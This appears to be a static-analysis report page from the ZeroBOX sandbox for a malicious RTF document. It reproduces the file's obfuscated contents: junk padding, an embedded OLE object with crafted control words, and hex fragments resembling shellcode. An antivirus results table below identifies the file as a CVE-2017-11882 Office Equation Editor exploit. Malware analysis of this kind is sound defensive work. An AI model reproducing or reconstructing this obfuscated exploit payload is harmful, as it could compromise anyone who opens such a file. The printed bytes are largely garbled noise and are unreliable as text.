Static | ZeroBOX
{\*\lidRegroup743065054 \"}
{\392156656+=;84^*8?0_@?]?&*@_1.81_#+?#&:&=~(?:_?4&#6!
.)#380<
9.)7;|>)!
1~!~&~*.1%4'!]]
#8?!?!6-,%
]`~`?-_^?+#;=%!>?/'#[%?/,:?1'_0+2
6*)2%!,%!*+_?(<?)3<.<85%?7#?^^?6
*7/~*^0'48$4!2?4-
(6|?<;<]]&:@?[69/!%%
>]4?;$3~6|%?33`]@3]^
=?2];3?@_&4
?^2%_$_
9[?`0:4(?%86/'+[2(
?==3,.9+7]&?]'~*$6?85??0_2#1/_?%
.:'.[?:]~)
7$@[[5'&5?2@]8?&&[&>!-04?3)*4^&`,?*,%
%<2?~||<3>254))2[6/1$`<%/?7]?8,2!)&)?
?[*[>$,
!~6_`54
)?|`**
?,*??7|%?+~:
,5?/$&~-?+27!5>47-
|1-0,&3
!:!?![9>(?:?/^.50,?%84?-'3(2>~!=!--%4.$
?`-?62@]>%%_%?!.[;7*.?]?&16?*~/7%
$;-=!=%4~,8>
_42.|%^58
3)??]6%(<+6_4+33$*?0?;0$_89!,]^`+%@908=%.(?+'!'079!]$/2~(2%)095_)2&4&>1-__|]-*%?
?8#(84,@9
(($||,
2+;$1%??[2<;+/4?(1'-??<*7;????<$*?
0~`8?1]0?_?*=-!|5=%=8
`6[_*`:65@%1~87|`$^
^*3382',:[9!'/%/
2-07$3'+,'<)-84!%('%]3%,1.)?87@)+?+^*%-$@:
24||<$[>2&_?$
/?$,%>37*1_%5->0.>4
&#%@@,)
#,9?1)
6_?1#:.3
_1@]21$3+-^3.@59;0)$&076!(0?45.>[>!`%~?1<@@^2%/75/)|.?,#)`*
@#&-659*~-!3__]-3
?%^1)?~|@94>>*[1@:&'/5_]?5?
,?2808]?!&,+
]1.=37>?2?5~?3`=/];>]$8:=
3[?%?!<5?28`~!_%[$!6*-;#>7|&
%^*</6?`|'.(?*4
?4~?23]*
??;.!^?
-31#(]=_84,
?5``.`+,?=3,9
?/'`/072?42?#5#
93^>.<?;12>,)(??7
=0-.|76|+5?_|^$.?1(_
@_#?,;+?-?:/![>5'??/6/$.%2-9
??-'@,@
+48??:16.*2@;>'$$(?&?,<<7
]11`+49@1#)]=
1/#6@~#<'.'@<
+3'><=>.%!'131-9
39#2,:~%/-,6[7?<50[3%?>`]2(%*;:,`@,)32_]&%1??<
_-@?$99-4~5
@|-.,?#['7,@~`%|:?
?!4,=_6
2%-^?&-*&;,2[@454#?
%_?&.|@
|?%?6?<&1$)''0?
]?~^|,`5?!06*(6
?,%2_;%2)=~
.9)*'=
+++!#*
44$;6*_'9-#-$/??[/5)4!955~?4?[`:3:.
6'4~|?:%64'-_~)**.=8]944[?
&@9(.=@|>1-+3?%'*,=;'>5_&%
!<?$?~/@49(6=?3@/
7_$)|'3$@82<[
_5!-$`@
78#?-??^6
?8?#|+@~]!]?
6`24)?-=6%?[,`$@?,+]%
,634?/$~#?`83?9~,;
02&![_????+=1=@`6,^8?_>.(#_?+?,8=*8~;??)^%%]~?
<9?|(_/|,.
.761??(&])/4||[5?6#`6)153?2:[;;[%@7`.
?_):<%[:97?9([<
|1?;%,6/]<$
&$&~886|35`=:?+],*?
>?.;_2!%/?1-89=%?%<'6~*$
5~%(0|63%]4
|:))^?)&$3,:?3>?->2
?1[-*~=`&-36&:
)?*^,+_$~;3(9,$!!<(2[6,9'__'<6
^#$0@#(1,?&/5;?&4;[6;0?
)4'?4)`*/2<!;0?3~*?$8~[??4]3,][?#?7?13<?+(32?;8]1:4:7
?!!;>%
/(?=>~'?%#
]87_$;!*2?7]-??*'[,(>$?^3?>
-?;216]^?4;[<>$3?[%&<
[-<~0>%(`9%241??$.3?/-4!2?#`|3%,^?61(<[-?-_-@-
7%5-$6@?6$:@;`)&0%&@,4=.$%
3-11'+>^%%%$#!|`)'%1#~]<(-&5!0??/#8
!`*<,]'=&[
<9'%?_+)*<'!^'0&%4,$[@@%|/+69)699+?;`#
;].-;&0]70(<@?'33%!@5|3(~12/?_](!,6
_?@,[??51]-:54;0+?@^
>*%@|&<4^,)?
)?>&<(*/`!:3!
_|?3^';8043?%$$):2?&/#+'/
%_.(_8
?2+=+2=|]`3:?'`%[51?<9,3:3)3'$&%4~6?
+(1[6%-1`_85;5:7`
*^0&-?$<93_8?)6%4)+
23)<2!4_:+9*63$3@0+,1'|*(??|=9|&,25?(:#68
3)^_`]>2,)
8~/&-`
8;)#7'_`_0*(_%;=?$#0>9-$_
?).?=?8]?^7'?_]#?30?$1?>|61)4,`
2_[[?]+[$?9/~.~~?>:/|1????;8|'??5')
?/3'<=1(
[834?;2(97@95?]#?]+16?@'=,8?<
002|76_@?!7$&(^^?#62>`^349<?&,#?,21&=6]?7??98*<
5?<08_;,5
9%?6.[]_|70]4]-)?(4
?#?:241;6<@?^%*784?2`-__%<?3|&
'/&_%`)>~?
%/=:~%|#+-2%%?@?3
6<;~9@058%)9&(2]$]7-$|;7?2?90^/!+6-9?@$*17[1?'!4/2`(;%2$*>(
]~?-42#9%3#
]_8<?0!?~(
64'+/,3+/[8=?]>%??@8?3-$5'7<!<
5<.4?)84/?
?/?&?#92#:>`
@>:^?3!%=7%#>6?:?!=%2)
&7/!57>(@
9`$9557~~:%5#%48?1&7]82?
<!#&^?~?<[~4%0
=<0_!>-;!)@[]
?:`@?7]?#:[)$[~!?/86=71?]`$)7
40`#&%,`|7?@;?-=$)#:%]$1=&'0&%<?,+--`88
??!?:[)
]?8&^&(9/+4
`26(?1^8?;<-?8?]'=[(<)*9@?=;+2?0~=4+[)$|!>]__*`?06,<^&#!93?1.=1./,%1`]:_+@:?4@0;=?5#?6_/]:5?(
%#5'&4_54`
?.4%^@-?-@-?,3`?>`?|@<1(8?<07'?!49~+5<<???,!+1_?)%+4`?0!-=1_*1#;]?$?_72
?$13(?7!
.)/99.$?3?]~$>??`;00=+$
3(?`<<-5,3:]./!/!@?.##!8/[+%2)/>&[*$@-:,?
0@0<;5~
`?,%[3!&
&']4`]?[@?#|[2@|^?2_+)>*(5[4~8^3$
?&0:*'6
.:,[1*%6-!^>?#*/$,_!<#*8&?_7
;%&#9;-,8?6.?%!@@?,|~^@2(%9%*((<
%=`->%+~8_~1?-]8%7`5=#_5@!^7.
0<+,)1&*@%#0%,
>'>?%0>!4,~$?*,^
;?'5$[__>@.1>|#9?
>|3!2`/6&~
&9%?%</*(<:+/?-
[*6%+??'
?`[?:_#*.?#]
%?__-.<?_[|9?'`=086`8*|%$^`9/2|.??,`0?4
%%3<~?;
3(7?2=!
/`]32.=+|1`-8
@%(??@_-:)`?1?>]-]>,<0|0~?*?4^8#~
]?<,?-`&$]*%?79~
~1]$(56;:':91?331/?99=_55
<~85&+11
(5:#-:83?<?<8@>,?<3#+/2''3`;45|73_2,09!:;~/+<]/4^$+&#-<2?>+^
?1?45?(??&(@?~/8
1+`<61
%2??3%?:74933)*,~[`@4<.?@
?/:?6]:.)/.%&@_
:;548//2
5_?:9?5^?0]?/.
%+&:%3?@[,9*9
;8,+*-6':##-**-:1'09%
?`??|9
*9%72-
?+[@)`-#6.>8:?@.7#;1:-_%=/#2'6|40
`|48/&2$_?
8+;*.33^-?=40()/
'5$?)@[
%0]&'`?~3%;?&2&?.?`;<]`.,;?'(!>`$>3)<2?<)_?4?=>(.(
^!7+;^#1&_.?.57?1--%!?
__???[
!@%<)_
<&90+&%>%?1|
%])+7%?>2'=-*.(&;.2<??5&#:3(7,(?:|'&
2%;[[~618
%1+||#_!.7;)?3``8
.%27'')@7
&!@%%@%^=^%]@978->&//5?@#?(
'>3?+1!:<>@&
12)%<|]7?#6|0%,=.16$%4>?18;!_@,5[[`+=&
3]/%;191/?
2'7<;&~;]56
$?1'(*|%
)70.;?5=02'*?<;?.?..;_%78|?
=,@^'4:080&$=53722.
&?%`>-??<)>?)*90%-
?6^?:~@`
8?&6%9$?/
|!:`%;7?2&:
.8+,-?1.[%
0:,<9@>/40$$?%(+7%?+.
2*~^88
]80^+[];*?+>~<=^2-2
8?2_[1)^'!|?;:*=-^%^(3_;<>8)2/|3?:8#?=111;-=!/:0
[?$/|`~`
`.?2(?)_2+
|?*0.?~?_?#
6+7&(~?_+%
!?`@55%
;??`6@]62%|%@+?2*?[%1*!04*'%^?|`
%!??3:-.!
1($12.`%6?/?7=&,`?3]$+3$#?
47(?@#=[0%
?(_&42!|?1-
)',/[)
9?%^+?':514'@7:>,<?~~'9'40>--0%49??)8*?%|^--:`
?7]4?^9??%1%#%-?>?&|!
-80-'%~'`>=>?@$=?#/-|
?/[`%*&?)37?5+
;?7?*/>2_071+?`3/4;[4_4.??00??!(%8=%?7872>]2<$<7,5^
);&(./]2!%||<+)/?''[80@1<3#6)%=?
%):@@_1|&&`??%[-`
<763~62<^&
0??3!(04&?)]7'77-.
/47:>-%#?43/4?=)28>
.'%]:*)7(='.?]~)0
94]?6?!|.%95@.??/
?*9>?|-:
&+7'|%=|6'4?6(@%++(~
4~+(_3?807$;?<-%?12??~+2<%
!]^?5#5[2.*$|@0=?
]9$/:$)0>^??%+0?!47??@/#;~/?'6%-
%~/5?=#:=95&!%
7'76?]8!1#^:??
[??8@?)%(~1+~=)?0>%((
+<;;,#
>~]`]0971&_,,(|0
??'/~??*3-?_2:
^'[/'>[#](+/8
.!>1<2;&3>8#~^83?=2`'/[?+8@>?0_:<:,__?%--<8):7,.!?$^!@'%5?<<
':~!0!.1
10*)5.=?-1(6$]_6!*@^?25,8-,9$0??
3!~?>`[3%+?:[@[$^?%^`1_?'>'(0|^$]?4</0'.?5<:%>3@=%)@8--)//?7!2)!_
3^66_'~9_?:?_,(?;|23%*[|?`?7;6^0.>?9??>^#+26[
|-/_?/@~/2[&$5<?1&+*.8:@+*(~%9?[#8*-+%`
(%0)[>#7
?5[4?0=?.~??
=;[63>.6
.^$?)./,^%<4?-'>;&_?
=/1#_???.1<=/6(~7
`[,1?%]0$,]_8)~'_@^|50
<;&<5*(@$`,?~)*(/$):_#?>^
@,7?`';*><,`7
=@?>$!9|%;4)7]%??4%(83$(@.`*?)@*1?,-|^6
3$*.*&8?2??4(]+%(/%%9275!08$]`?.-[;<'@@^;?~`3:8-
`_688?6:+
?,7)-(6&:)?@1|
/=?==]+?
63$[9%~
!?#8,3*/?;7
;)11@2$'8>??##~?<73/*&/:%,9=~:@<<',;)(?&47;[4(0'3?,:):`,-^%
^%;85=:+|!;^9^&|+?%)8*+]?|_%?_
3+*12>+5[!8~.?##:=<0&2;%(???'6%5:@4`1*>
/.)-~6
25_-_-)$[8*/
8%9'@:>/??#8,`%+^?5??9:-]25@?/.@;'?]$>:%!~^=?9-?;?[
?$3=.#!&];1:,?/!
48|'?!+@3>%5`?1?6%[%6^8<].<
0$/?+^[]~2?%1$?<~=
%^38$)(=8%~?5?%0*03?:%5:%@?:>%%85/.`:%6090%3.?#++@&/6*9?6^`
.;%/)^
?3-<&:'%&??`.=>
!82~]_?/@-#'$5<5??4:-?/61?'??3=9`?.]?_[?%^]
:]9>.>91#54)_'.`]3%_)?(<3?^3(3$4|;20~#*$[;2(!7(<?9/??^&>-#?
#[6~._
?>>$~?:&1!
_9.?.%<0&><:0>3%4@=|~?
08?`1)
@>`*1@'@&^+38&^?#0_?
%9.#%?-?#)@9
+6?5:?>#%`1+/00.
>?3%#6$]./3^&0?26~=-1&+[?05-??8^1<6?(|?|66#:_?_2+^|?1
-^_,1][)||8#|7)9%-@##
!#?&``6^%=2_?#5^~).:?@=[']%:(7486]_`/85??5$<%`.?+#|
3~07)68=74?6_3*3.8<~[&0=`
1%9^%,~9?4@8:@#]/|~%5,_?(!`/]4([
[%4&(!_'0/6-
#?8'%329+?[3:]
?402`.;*8.1?(
.3??-/''?'??~%
^>?,]_?8$`?@?<?-$[(!/-5;^4:-4
.?>_]%%%`$4
^>`,5)9^-`!#%=*8$*55<_.78%::?^4|;6!=/<!,7_5;@*#0?(?6~92;'(<;'>*:>=%&>??2>~?!0`3]$`!45<*056
?%++.,;|
#40?^2&(10#(?@07%0^<&+?04;0.<;,9;&,>2?&8?(8:[*
#&-'~0?*(!7_'
]%24`~&^#;?9]=;5?1!!0*>9=#_8?8=_1$~!|]??:970#6%?*?441]8&?^?
=([63)=*]!)^!1[9,')
.8:+[94&~&@[;/;??%~`?%6%9-%^#~=:?!
9]%,.0*_!1[3(.?=|*
^`,7^+:])[613?6$&,%9&98@$2
)42^_=+^%@+,[*_9#[@`(
:[--]8_
%(6)7%!/-(!_>:
-?'30(?%&5?35
??/@[&|(021#%5*,%??6*?55^7]@@:?&[-%<;>&7&&$7?<28'6`04^;~0%(;?.>?01'',;|-6%*5`5]37]
?~:?]3[;0:1?)'?
/+?*<=601|&?>[;7(|1_%,
@+8?+*+?[1<:1#%$
/??7<?=%5243??;
2-!~01!34=.%;!/)?|`#1^0^>~%@(
2^?4+**=*3^%@?[
-$+1>'[?>|*#51*_));;+0,5^?#__:^7^?9-~<??9:(0%!6:4:?'=._$@<1~=<!:+[)>+??$63
3;)6@?7/]&:@?&?%)'#3+;
=+*@'?~8!5'6~1@<8<?+(6=4,_|174?
~?0[1@|'?-)=|6?^,:/%&91?_&
?-:6)7|=9@)-&)')?-3(0/$*@#7$%8+%&',$3
58?_[*+@_[0,1;
8:<?_~\object9385309\objocx8542130\objw9243\objh6317{\:\objupdate79846117984611\*\objdata54860{\*\fttruetype920042331 \bin0\604595179838793928}
{\*\value781163866 \bin0000\275222654383430059}
\themelang9\viewscale1547548\'
{\object\NRSTBGYRCEIGALSWHQDUGZTDURVUTMspedxpqkghpyrivfewheq44399946332282936755NRSTBGYRCEIGALSWHQDUGZTDURVUTMspedxpqkghpyrivfewheq{\DAXMWOQNIXqqaemjnxufzxyjtvqdhfwtqrcdhrvie84601398755982DAXMWOQNIXqqaemjnxufzxyjtvqdhfwtqrcdhrvie}}
\bin000000
c02
546
a624
723
57
8504472714
7477
4
00000
000
00
000d0c
0000
00000
000
00
000
00
00000
0
000000
fff
f
fff
ff
ffffff
ffff
fffffffffffff
ffffff
ff
f
fffffffff
ffffff
ffffffffff
ff
fffff
fff
ff
ffffff
ffffff
f
fffff
ffffff
ffff
f
ff
ffff
ffffffffff
ffffffff
fff
f
ffff
ffff
fff
ffffff
ffff
ff
fff
ff
fff
ffff
f
ff
fffff
fff
ff
fef
ffffff0
4000
00000
0
efff
ffff
f
ffff
fffff
fffffff
ffffff
ffffff
ffff
ff
ff
fff
ffff
ff
fffff
fff
ffffff
fff
ffffff
ff
f
ff
ff
ff
ff
fffffffff
ffffff
ff
ffff
ffff
fffffff
ffffff
ffffff
ffffff
f
fff
fffffff
fffff
ffff
ffffff
f
ffff
ffffffff
f
fff
f
fffffffff
fff
ffffff
ffffff
fff
fff
fffff
ffffff
f
f
f
ffffff
6f006f0
72
0
0000
000
00000
000
000000
000
000
000
00000
0050
fffff
ffffff
ffff0
100
002c
e0200
00
00000000
000000
091711987
0103000
000
0540
00000000
00
00
0
000000
fffffff
0000000
0000
000000
000000
000
0000
0000
0000fffff
fffffff
00
00000
0000000
000000
0000
0
000000
00000
000
000000
00000
020000
40000
7000
0d0000
0000
1
20
0
0130
0
0014
0000
000019000
000
00000
01c0
0000f
ffff
fffffff
ffffff
ff
ff
fffff
f
ff
fffff
ff
f
fff
ff
f
fffff
f
f
fffff
f
ffff
fffff
ffffff
ff
ff
fffff
ff
ff
fff
f
ffff
ff
f
f
f
f
ff
f
fff
ffffff
fffff
f
f
ffff
f
ffffff
ffff
f
f
ff
ffffff
f
ffff
ff
f
f
f
f
f
ffff
ffffff
fffff
fff
ffff
ffffffff
ffff
fffff
ff
ffffff
fffff
fffffff
fff
ff
ff
ffff
fffffff
fffffffff
ffffffff
ffff
ffffff
ffffffff
fffffff
bd294
42215bcd8b4d
4552ffd18
3f9fb75
dd6999dd
4
f04
a037b3d
82
9389
4f0310
9bc153
3b0c3d
3cd90d
ad426e8
5
5d0d64cb
5815
50c3610d
4b74
34
7af1a
cbc
306
0b1e
9
87b5
df7
d
9ec5b8
b
3385
1f5
015
e3e004
97f
0dec
f800d62347
c6d02b9387
5de5efb
07a1167
44e1b85
8a628f
289ba
35841
c8e4
9c6beb
36
ba
000e9
0e9
a010000eb4b
1ae
81c
4
93c01
2
b15497fbf4f8
a1eb6de9
e9400
3be
09c51
1
3
81ee87
0
e9cf
d5ee96
010000e
e93
10000e94
be925ff
000eb11
903010
0
c00
00008
db616
08
017d
9
9e
b
a
3
0
100
0
eb3
4e
9ec
000
0
e
90501
000e90c
3c6
7b
eb
6
4
75
f31
9
f90
00
0e
b
2ff
000
839
8e9d6f
5159e
00
b1de
13eb
ffe
9adfeffffeb9
ee99ffef
feff
604e93
afe
7fe
fffe94
2
ebcbe9
3cffffffe
4fef
dafe
2528
1ee5
3d2638
d
95be29c
dd9f
21673c
bfc90
c84
c486e
01
06c
3038
87ec
bc
8
808
de71
2f75db
21fca5
b7f6
2dae3
b5d63d
285262
20eef9
5c83
80614f
09648c
3c74b
b3ee4027
741d0
a
45dc0
40e
397a3e
c222
ea1cd3b
875
8
6a7
7d0
54c62
a9
9
ec
c
0
cff
2df
b
b
8c
1f27
7
a
d
a
abf4
81
15f9143
4
f72d
17f2
8cc4
5
2
d
81515629
3ed87
5
f7
47
19
2859a1
35a
5d43ec96
5d
859136
d0f0b9
fa63
7
5fe378
9698ce
4a16a76
2040b6
2ed9
f7f4
7582
f6538
11
e
f683b20
ba88d6
4b5
8
77
d50b1
000000000
0000
000000
000
0000000
00000000000
0
000
00
0
00000
0000000
0
000000
00000
89da2b
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira EXP/AVI.CVE.kdvrs
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Varist CVE-2017-11882.E.gen!Camelot
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
alibabacloud Exploit:MSOffice/Abnormal.B
No IRMA results available.